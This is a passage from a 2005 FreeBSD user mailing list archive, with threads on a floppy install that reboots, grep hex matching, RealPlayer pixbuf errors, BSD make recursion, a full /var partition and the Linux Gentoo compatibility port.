K6-2/400 with 196M of RAM. That was booting from floppies and installing via FTP from the 'net. Once installed, the thing is even surprisingly fast. HTH. -- Chris Hill chris@monochrome.org ** [ Busy Expunging <|> ] From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 03:52:04 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 23EC816A4CE for ; Tue, 8 Feb 2005 03:52:04 +0000 (GMT) Received: from smtp102.rog.mail.re2.yahoo.com (smtp102.rog.mail.re2.yahoo.com [206.190.36.80]) by mx1.FreeBSD.org (Postfix) with SMTP id 94E7243D39 for ; Tue, 8 Feb 2005 03:52:03 +0000 (GMT) (envelope-from danstemporaryaccount@yahoo.ca) Received: from unknown (HELO moulinrouge.danielquinn.org) (dquinnc383@69.195.22.206 with plain) by smtp102.rog.mail.re2.yahoo.com with SMTP; 8 Feb 2005 03:52:02 -0000 From: daniel To: freebsd-questions@freebsd.org Date: Mon, 7 Feb 2005 22:52:53 -0500 User-Agent: KMail/1.7.2 References: <200502072107.38331.me@danielquinn.org> <20050207222811.U24265@frambozen.monochrome.org> In-Reply-To: <20050207222811.U24265@frambozen.monochrome.org> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502072252.53881.danstemporaryaccount@yahoo.ca> Subject: Re: cracked out floppy install X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 03:52:04 -0000 On February 7, 2005 10:40 pm, Chris Hill wrote: > On Mon, 7 Feb 2005, daniel wrote: > > i've been trying to install freebsd-5.3RELEASE on this old computer on > > and off for days now. i downloaded the floppies, watched the thing > > boot and each and every time, it'll get to the little beastie prompt > > where it counts down and is *supposed* to run sysinst but instead, it > > just reboots! > > That's just peculiar. Maybe you need more RAM? Couldn't hurt, anyway. > The 16M you cite below seems a bit meager. well the handbook says freebsd5 has a minimum requirement of 8mb, so 16 should be fine. but even if it weren't, you'd think there'd be some form of useful error message instead of just rebooting. it just makes no sense. > I've found that *many* - maybe even most - floppies are bad out of the > box. I buy the 25- or 50-pack, and churn through until I find two good > ones. Sometimes it takes a while. how can i tell what makes a good one then? i just can't go through 50 disks hoping to get one right. i haven't received any errors, so i'm working under the assumption that they work. > Other than the RAM, this should be fine as long as you don't plan on > storing much data. I'd use this machine as a home gateway/firewall/NAT > box. the plan at the moment is experimentation and maybe dns for one domain or something. i just need it to install first and guessing with 50 floppies seems a bit nuts. -- what the scientists have in their briefcases is terrifying. - nikita khrushchev From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 04:03:34 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id B888D16A4CE for ; Tue, 8 Feb 2005 04:03:34 +0000 (GMT) Received: from obsecurity.dyndns.org (CPE0050040655c8-CM00111ae02aac.cpe.net.cable.rogers.com [69.199.47.57]) by mx1.FreeBSD.org (Postfix) with ESMTP id 716C143D41 for ; Tue, 8 Feb 2005 04:03:34 +0000 (GMT) (envelope-from kris@obsecurity.org) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 49080514FE; Mon, 7 Feb 2005 20:03:33 -0800 (PST) Date: Mon, 7 Feb 2005 20:03:33 -0800 From: Kris Kennaway To: daniel Message-ID: <20050208040333.GA32748@xor.obsecurity.org> References: <200502072107.38331.me@danielquinn.org> <20050207222811.U24265@frambozen.monochrome.org> <200502072252.53881.danstemporaryaccount@yahoo.ca> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="oyUTqETQ0mS9luUI" Content-Disposition: inline In-Reply-To: <200502072252.53881.danstemporaryaccount@yahoo.ca> User-Agent: Mutt/1.4.2.1i cc: freebsd-questions@freebsd.org Subject: Re: cracked out floppy install X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 04:03:34 -0000 --oyUTqETQ0mS9luUI Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Feb 07, 2005 at 10:52:53PM -0500, daniel wrote: > On February 7, 2005 10:40 pm, Chris Hill wrote: > > On Mon, 7 Feb 2005, daniel wrote: > > > i've been trying to install freebsd-5.3RELEASE on this old computer on > > > and off for days now. i downloaded the floppies, watched the thing > > > boot and each and every time, it'll get to the little beastie prompt > > > where it counts down and is *supposed* to run sysinst but instead, it > > > just reboots! > > > > That's just peculiar. Maybe you need more RAM? Couldn't hurt, anyway. > > The 16M you cite below seems a bit meager. >=20 > well the handbook says freebsd5 has a minimum requirement of 8mb, so 16 s= hould=20 > be fine. but even if it weren't, you'd think there'd be some form of use= ful=20 > error message instead of just rebooting. it just makes no sense. In practise no-one tests running on minuscule-memory configurations, so it's possible that 8mb or even 16mb is not in fact enough thesedays. Anyway, it's possible something else is wrong. Did you try the other boot modes, e.g. disabling acpi, running in 'safe mode', etc? In particular, many older systems have buggy BIOS implementations that do not allow them to run with acpi, even though the BIOS thinks they can. Kris --oyUTqETQ0mS9luUI Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCCDoVWry0BWjoQKURAkFkAJ9DbmfjEyOp7CGDZDySA6wZo1PcPACgkBhs Oax26KRjb7OtsasAB6MtRQg= =8xIn -----END PGP SIGNATURE----- --oyUTqETQ0mS9luUI-- From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 04:15:11 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 98A2516A4CF for ; Tue, 8 Feb 2005 04:15:11 +0000 (GMT) Received: from igloo.linux.gr (igloo.linux.gr [62.1.205.36]) by mx1.FreeBSD.org (Postfix) with ESMTP id ADD5843D39 for ; Tue, 8 Feb 2005 04:15:10 +0000 (GMT) (envelope-from keramida@hellug.gr) Received: from igloo.linux.gr (localhost [127.0.0.1])j184FoM0024255 for ; Tue, 8 Feb 2005 06:15:52 +0200 Received: (from keramida@localhost) by igloo.linux.gr (8.13.2/8.13.2/Submit) id j184Fo7V024252 for freebsd-questions@freebsd.org; Tue, 8 Feb 2005 06:15:50 +0200 X-Authentication-Warning: igloo.linux.gr: keramida set sender to keramida@linux.gr using -f Date: Tue, 8 Feb 2005 06:15:50 +0200 From: Giorgos Keramidas To: freebsd-questions@freebsd.org Message-ID: <20050208041550.GC23720@igloo.linux.gr> References: <1667502496.20050208025619@wanadoo.fr> <200502071802.19719.reso3w83@verizon.net> <1913197329.20050208034914@wanadoo.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1913197329.20050208034914@wanadoo.fr> X-Hellug-MailScanner: Found to be clean X-Hellug-MailScanner-SpamCheck: not spam, SpamAssassin (score=-5.899, required 5, autolearn=not spam, ALL_TRUSTED -3.30, BAYES_00 -2.60) X-MailScanner-From: keramida@linux.gr Subject: Re: Another grep question X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 04:15:11 -0000 On 2005-02-08 03:49, Anthony Atkielski wrote: > I'm looking for the hex character 93, which is an opening double > quotation mark in the Windows character set, not the literal string > "\0x93". Unless I'm mistaken, \0x93 in a regular expression means > "the character whose hex value is 93." Not really. Unless you have a shell that understands this sort of thing and expands the command line arguments to arbitrary 8-bit characters. Otherwise, "\0x93" means: A literal (escaped with '\') '0' character, followed by 'x', then followed by '9' and '3'. From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 04:28:46 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A687416A4CE for ; Tue, 8 Feb 2005 04:28:46 +0000 (GMT) Received: from hobbiton.shire.net (hobbiton.shire.net [166.70.252.250]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7448D43D1F for ; Tue, 8 Feb 2005 04:28:46 +0000 (GMT) (envelope-from chad@shire.net) Received: from [67.161.222.227] (helo=[192.168.99.68]) by hobbiton.shire.net with esmtpsa (TLSv1:RC4-SHA:128) (Exim 4.43) id 1CyMzV-000OpW-SA for freebsd-questions@freebsd.org; Mon, 07 Feb 2005 21:28:46 -0700 Mime-Version: 1.0 (Apple Message framework v619) In-Reply-To: <1107810891.1183.12.camel@p4> References: <200502051745.25937.hindrich@worldchat.com> <20050205225512.GA78786@falcon.midgard.homeip.net> <20050207091209.D71459@maren.thelosingend.net> <20050207083428.GA22714@logik.ath.cx> <1008235984.20050207170137@wanadoo.fr> <1107810891.1183.12.camel@p4> Message-Id: From: Chad Leigh -- Shire.Net LLC Date: Mon, 7 Feb 2005 21:28:44 -0700 To: freebsd-questions@freebsd.org X-Mailer: Apple Mail (2.619) X-SA-Exim-Connect-IP: 67.161.222.227 X-SA-Exim-Mail-From: chad@shire.net Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Checker-Version: SpamAssassin 3.0.0 (2004-09-13) on hobbiton.shire.net X-Spam-Status: No, score=-0.1 required=5.0 tests=AWL,BAYES_50 autolearn=disabled version=3.0.0 X-Spam-Level: X-SA-Exim-Version: 4.1+cvs (built Mon, 23 Aug 2004 08:44:05 -0700) X-SA-Exim-Scanned: Yes (on hobbiton.shire.net) Subject: Re: Electricity bill - OT X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 04:28:46 -0000 On Feb 7, 2005, at 2:14 PM, Robert Marella wrote: > On Mon, 2005-02-07 at 17:01 +0100, Anthony Atkielski wrote: >> I don't know where the rest is going, but I suspect that >> an aging electric water heater is consuming more than all the computer >> equipment combined. > > I put a timer on my hot water heater and only run it a couple of hours > per day. Saved about $30 per month. Of course, YMMV, I live in Hawai`i. A lot of new-built houses in the US are installing continuous circulation systems for hot water, which greatly reduces the time the HW heater is running, since when you turn on the hot water, you get instantaneous hot water and don't have to run a ton of water before it gets hot, which reduces the amount of HW wasted. Also, the new tankless HW heaters look interesting... I run my computers all the time, but shut down the ones I rarely use. So my G4 and G5 are on all the time (unless I leave the house for an extended period) while the AMD (Windows :-( ) is off 99% of the month. Currently have a dual opteron FreeBSD system in the basement being configured, also left on for longer periods, but it is leaving to go to its home downtown in a day or too.. Chad From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 04:37:54 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 028BC16A4CE for ; Tue, 8 Feb 2005 04:37:54 +0000 (GMT) Received: from fuse1.fusemail.net (smtp.fusemail.net [69.31.1.141]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5AD1943D2F for ; Tue, 8 Feb 2005 04:37:53 +0000 (GMT) (envelope-from brianjohn@fusemail.com) Received: from fusemail.com by fuse1.fusemail.net with asmtp (FuseMail extSMTP) id 1CyN7y-0001bS-0s; Mon, 07 Feb 2005 22:37:30 -0600 Message-ID: <42084226.2060004@fusemail.com> Date: Mon, 07 Feb 2005 22:37:58 -0600 From: Brian John User-Agent: Mozilla Thunderbird 1.0 (X11/20050203) X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Loren M. Lang" References: <4205CA2F.9080107@fusemail.com> <20050207114741.GC8619@alzatex.com> In-Reply-To: <20050207114741.GC8619@alzatex.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit cc: freebsd-questions@freebsd.org Subject: Re: problem with realplayer X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 04:37:54 -0000 Loren M. Lang wrote: >On Sun, Feb 06, 2005 at 01:41:35AM -0600, Brian John wrote: > > >>Hello, whenever I try to run realplayer I get the following: >>$ realplay >> >>(realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader >>module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory >>Failed to load pixbuf file: >>/usr/local/lib/RealPlayer/share/realplay/icon.png: Couldn't recognize >>the image file format for file >>'/usr/local/lib/RealPlayer/share/realplay/icon.png' >> >> > >Install graphics/linux-gdk-pixbuf from ports. > > > >>(realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader >>module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory >> >>(realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader >>module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory >> >>(realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader >>module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory >> >>(realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader >>module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory >> >>(realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader >>module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory >> >>(realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader >>module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory >> >>(realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader >>module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory >> >>(realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader >>module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory >> >>(realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader >>module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory >> >>(realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader >>module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory >> >>(realplay.bin:94093): GLib-WARNING **: GError set over the top of a >>previous GError or uninitialized memory. >>This indicates a bug in someone's code. You must ensure an error is NULL >>before it's set. >>The overwriting error message was: Couldn't recognize the image file >>format for file '/usr/local/lib/RealPlayer/share/default/pause.png' >> >>(realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader >>module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory >> >>(realplay.bin:94093): GLib-WARNING **: GError set over the top of a >>previous GError or uninitialized memory. >>This indicates a bug in someone's code. You must ensure an error is NULL >>before it's set. >>The overwriting error message was: Couldn't recognize the image file >>format for file '/usr/local/lib/RealPlayer/share/default/volume_mute.png' >> >>(realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader >>module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory >> >>(realplay.bin:94093): GLib-WARNING **: GError set over the top of a >>previous GError or uninitialized memory. >>This indicates a bug in someone's code. You must ensure an error is NULL >>before it's set. >>The overwriting error message was: Couldn't recognize the image file >>format for file '/usr/local/lib/RealPlayer/share/default/volume_off.png' >> >>(realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader >>module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory >> >>(realplay.bin:94093): GLib-WARNING **: GError set over the top of a >>previous GError or uninitialized memory. >>This indicates a bug in someone's code. You must ensure an error is NULL >>before it's set. >>The overwriting error message was: Couldn't recognize the image file >>format for file '/usr/local/lib/RealPlayer/share/default/volume_low.png' >> >>(realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader >>module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory >> >>(realplay.bin:94093): GLib-WARNING **: GError set over the top of a >>previous GError or uninitialized memory. >>This indicates a bug in someone's code. You must ensure an error is NULL >>before it's set. >>The overwriting error message was: Couldn't recognize the image file >>format for file '/usr/local/lib/RealPlayer/share/default/volume_mid.png' >> >>(realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader >>module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory >> >>(realplay.bin:94093): GLib-WARNING **: GError set over the top of a >>previous GError or uninitialized memory. >>This indicates a bug in someone's code. You must ensure an error is NULL >>before it's set. >>The overwriting error message was: Couldn't recognize the image file >>format for file '/usr/local/lib/RealPlayer/share/default/volume_high.png' >> >>** (realplay.bin:94093): WARNING **: No builtin or dynamically loaded >>modules >>were found. Pango will not work correctly. This probably means >>there was an error in the creation of: >> '/etc/pango/pango.modules' >>You may be able to recreate this file by running pango-querymodules. >> >>(realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader >>module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory >> >>(realplay.bin:94093): GLib-GObject-CRITICAL **: file gobject.c: line >>1337 (g_object_unref): assertion `G_IS_OBJECT (object)' failed >> >> >>It launches but all of the buttons have x's in them and all of the text >>appears to be gone from the UI. Any clue what might cause this and how >>to fix it? >> >>Thanks >> >>/Brian >>_______________________________________________ >>freebsd-questions@freebsd.org mailing list >>http://lists.freebsd.org/mailman/listinfo/freebsd-questions >>To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" >> >> > > > It looks like it is already installed. This is what it says when I try to install it: => Attempting to fetch from http://fedora.quicknet.nl/fedora/fedora/2/i386/RPMS.updates/. gdk-pixbuf-0.22.0-11.3.5.i386.rpm 100% of 222 kB 52 kBps ===> Extracting for linux-gdk-pixbuf-0.22.0.11.3.5_1 => Checksum OK for rpm/gdk-pixbuf-0.22.0-11.3.5.i386.rpm. ===> Patching for linux-gdk-pixbuf-0.22.0.11.3.5_1 ===> linux-gdk-pixbuf-0.22.0.11.3.5_1 depends on executable: rpm - found ===> Configuring for linux-gdk-pixbuf-0.22.0.11.3.5_1 ===> Installing for linux-gdk-pixbuf-0.22.0.11.3.5_1 ===> linux-gdk-pixbuf-0.22.0.11.3.5_1 depends on file: /compat/linux/etc/redhat-release - found ===> Generating temporary packing list ===> Checking if graphics/linux-gdk-pixbuf already installed gdk-pixbuf-0.22.0-11.3.5.i386.rpm Any other clue what might have caused this? Thanks for the help /Brian From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 04:52:33 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 496F016A4CE for ; Tue, 8 Feb 2005 04:52:33 +0000 (GMT) Received: from igloo.linux.gr (igloo.linux.gr [62.1.205.36]) by mx1.FreeBSD.org (Postfix) with ESMTP id 70C1D43D31 for ; Tue, 8 Feb 2005 04:52:32 +0000 (GMT) (envelope-from keramida@hellug.gr) Received: from igloo.linux.gr (localhost [127.0.0.1])j184r4qJ025245; Tue, 8 Feb 2005 06:53:07 +0200 Received: (from keramida@localhost) by igloo.linux.gr (8.13.2/8.13.2/Submit) id j184r3t2025242; Tue, 8 Feb 2005 06:53:03 +0200 X-Authentication-Warning: igloo.linux.gr: keramida set sender to keramida@linux.gr using -f Date: Tue, 8 Feb 2005 06:53:03 +0200 From: Giorgos Keramidas To: Jonathon McKitrick Message-ID: <20050208045303.GA24803@igloo.linux.gr> References: <20050205142225.GA11546@dogma.freebsd-uk.eu.org> <44u0oqylar.fsf@be-well.ilk.org> <20050205172727.GA26430@dogma.freebsd-uk.eu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20050205172727.GA26430@dogma.freebsd-uk.eu.org> X-Hellug-MailScanner: Found to be clean X-Hellug-MailScanner-SpamCheck: not spam, SpamAssassin (score=-5.899, required 5, autolearn=not spam, ALL_TRUSTED -3.30, BAYES_00 -2.60) X-MailScanner-From: keramida@linux.gr cc: freebsd-questions@freebsd.org Subject: Re: Example BSD Makefiles *outside* the src tree?? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 04:52:33 -0000 On 2005-02-05 17:27, Jonathon McKitrick wrote: >On Sat, Feb 05, 2005 at 12:21:48PM -0500, Lowell Gilbert wrote: >>Jonathon McKitrick writes: >>> does anyone know of any project out there I could get my hands on >>> that use BSD make? Obviously the src tree is not a good place to >>> learn the basics, but most makefiles I run across are for GNU make >>> and/or are too complex to learn the basics from. >> >> There are many examples in the Tutorial, which I think you said (in >> another message) that you had already read. What are you looking >> for that isn't in those examples? > > Setting up basic recursion (I can do it, but not the right way). > Building library sonames and installing them correctly. Recursion should be as easy as: % cd /proj/foo % cat Makefile SUBDIR= alpha \ beta .include % The Makefile files of /proj/foo/alpha and /proj/foo/beta will then be 'called' recursively to build the respective module parts. Note that the files: /proj/foo/alpha/Makefile /proj/foo/beta/Makefile will pull in any Makefile.inc you put in /proj/foo (yes, that is one level higher than the Makefiles of the subdirs themselves). This may seem counter-intuitive at first, but it makes sense if you consider the common Makefile.inc include file as "things common to all the subdirs of /proj/foo". Examples of this sort can be found in abundance in src/. Just look at the Makefile for src/bin/, src/usr.bin/, etc. > Doing the above in a makefile that will run under GNU make. I don't use gmake if I can avoid it. Someone else should chime in with gmake help, if they want. From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 05:17:39 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 749AC16A4CE for ; Tue, 8 Feb 2005 05:17:39 +0000 (GMT) Received: from smtpq2.home.nl (smtpq2.home.nl [213.51.128.197]) by mx1.FreeBSD.org (Postfix) with ESMTP id 03A7C43D39 for ; Tue, 8 Feb 2005 05:17:39 +0000 (GMT) (envelope-from luyt@ovosoft.nl) Received: from [213.51.128.134] (port=38217 helo=smtp3.home.nl) by smtpq2.home.nl with esmtp (Exim 4.30) id 1CyNko-0002id-5N for freebsd-questions@freebsd.org; Tue, 08 Feb 2005 06:17:38 +0100 Received: from cc351901-a.groni1.gr.home.nl ([82.73.114.87]:33926 helo=localhost.invalid) by smtp3.home.nl with esmtp (Exim 4.30) id 1CyNkm-0001aa-An for freebsd-questions@freebsd.org; Tue, 08 Feb 2005 06:17:36 +0100 From: Luyt To: freebsd-questions@freebsd.org Date: Tue, 8 Feb 2005 06:16:39 +0000 User-Agent: KMail/1.7.2 References: <200502072248.41306.shinjii@virusinfo.rdksupportinc.com> <42076E67.5000901@scii.nl> <200502072348.37071.shinjii@virusinfo.rdksupportinc.com> In-Reply-To: <200502072348.37071.shinjii@virusinfo.rdksupportinc.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502080616.39562.luyt@ovosoft.nl> X-AtHome-MailScanner-Information: Neem contact op met support@home.nl voor meer informatie X-AtHome-MailScanner: Found to be clean Subject: Re: /var Full X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 05:17:39 -0000 On Monday 07 February 2005 13:48, Warren wrote: > i was wondering about a command to list the stuff inthe > individual dir's and it seems some old packages that have been de-installed > ahev remnets and a lot of them in the /var/db port totalling a significant > amount of Meg. Thanks for the help. 'Filelight' is a handy application to quickly pinpoint disk hogging directories. It makes a kind of pie chart of the harddisk, with the ability to descend into subdirectories with a click. It's in the sysutils ports. For a quick example of how it looks, see http://methylblue.com/filelight/filelight.png PS. Running 'portsclean' with various options can also free substantial amounts of harddisk space! From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 06:16:54 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C56C916A4CE for ; Tue, 8 Feb 2005 06:16:54 +0000 (GMT) Received: from hobbiton.shire.net (hobbiton.shire.net [166.70.252.250]) by mx1.FreeBSD.org (Postfix) with ESMTP id 8FB2A43D46 for ; Tue, 8 Feb 2005 06:16:54 +0000 (GMT) (envelope-from chad@shire.net) Received: from [67.161.222.227] (helo=[192.168.99.68]) by hobbiton.shire.net with esmtpsa (TLSv1:RC4-SHA:128) (Exim 4.43) id 1CyOg9-000MS2-Up for freebsd-questions@freebsd.org; Mon, 07 Feb 2005 23:16:54 -0700 Mime-Version: 1.0 (Apple Message framework v619) Message-Id: <068F1D39-7999-11D9-B134-000D933E3CEC@shire.net> To: freebsd-questions@freebsd.org From: Chad Leigh -- Shire.Net LLC Date: Mon, 7 Feb 2005 23:16:53 -0700 X-Mailer: Apple Mail (2.619) X-SA-Exim-Connect-IP: 67.161.222.227 X-SA-Exim-Mail-From: chad@shire.net Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII; format=flowed X-Spam-Checker-Version: SpamAssassin 3.0.0 (2004-09-13) on hobbiton.shire.net X-Spam-Status: No, score=-0.1 required=5.0 tests=AWL,BAYES_50 autolearn=disabled version=3.0.0 X-Spam-Level: X-SA-Exim-Version: 4.1+cvs (built Mon, 23 Aug 2004 08:44:05 -0700) X-SA-Exim-Scanned: Yes (on hobbiton.shire.net) Subject: anyone get the linux_base-gentoo port to work? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 06:16:54 -0000 I keep running into problems of the sort host# /compat/linux/lib/ld-linux.so.2 /compat/linux/lib/ld-2.3.4.so: Exec format error. Binary file not executable. host# Apparently under linux that will work (here is from a gentoo box I have access to) bash-2.05b# /lib/ld-linux.so.2 Usage: ld.so [OPTION]... EXECUTABLE-FILE [ARGS-FOR-PROGRAM...] You have invoked `ld.so', the helper program for shared library executables. This program usually lives in the file `/lib/ld.so', and special directives in executable files using ELF shared libraries tell the system's program loader to load the helper program from this file. This helper program loads the shared libraries needed by the program executable, prepares the program to run, and runs it. You may invoke this helper program directly from the command line to load and run an ELF executable file; this is like executing that file itself, but always uses this helper program from the file you specified, instead of the helper program file specified in the executable file you run. This is mostly of use for maintainers to test new versions of this helper program; chances are you did not intend to run this program. --list list all dependencies and how they are resolved --verify verify that given object really is a dynamically linked object we can handle --library-path PATH use given PATH instead of content of the environment variable LD_LIBRARY_PATH --inhibit-rpath LIST ignore RUNPATH and RPATH information in object names in LIST bash-2.05b# trying to update portage or to rebuild gcc (as is recommended in the port) evetually fail with the above error... (The example I have above was to retry the command at the command line) Any ideas on how to make this work? Thanks Chad From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 06:36:01 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C554916A4CE for ; Tue, 8 Feb 2005 06:36:01 +0000 (GMT) Received: from out006.verizon.net (out006pub.verizon.net [206.46.170.106]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4A25243D2D for ; Tue, 8 Feb 2005 06:36:01 +0000 (GMT) (envelope-from reso3w83@verizon.net) Received: from ringworm.mechee.com ([4.26.84.7]) by out006.verizon.net ESMTP <20050208063600.XIJO28674.out006.verizon.net@ringworm.mechee.com>; Tue, 8 Feb 2005 00:36:00 -0600 Received: by ringworm.mechee.com (Postfix, from userid 1001) id 53EFA2CE741; Mon, 7 Feb 2005 22:31:57 -0800 (PST) From: "Michael C. Shultz" To: freebsd-questions@freebsd.org Date: Mon, 7 Feb 2005 22:31:56 -0800 User-Agent: KMail/1.7.2 References: <200502072248.41306.shinjii@virusinfo.rdksupportinc.com> <200502072348.37071.shinjii@virusinfo.rdksupportinc.com> <200502080616.39562.luyt@ovosoft.nl> In-Reply-To: <200502080616.39562.luyt@ovosoft.nl> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502072231.56828.reso3w83@verizon.net> X-Authentication-Info: Submitted using SMTP AUTH at out006.verizon.net from [4.26.84.7] at Tue, 8 Feb 2005 00:36:00 -0600 cc: Luyt Subject: Re: /var Full X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 06:36:01 -0000 On Monday 07 February 2005 10:16 pm, Luyt wrote: > On Monday 07 February 2005 13:48, Warren wrote: > > i was wondering about a command to list the stuff inthe > > individual dir's and it seems some old packages that have been > > de-installed ahev remnets and a lot of them in the /var/db port > > totalling a significant amount of Meg. Thanks for the help. > > 'Filelight' is a handy application to quickly pinpoint disk hogging > directories. It makes a kind of pie chart of the harddisk, with the > ability to descend 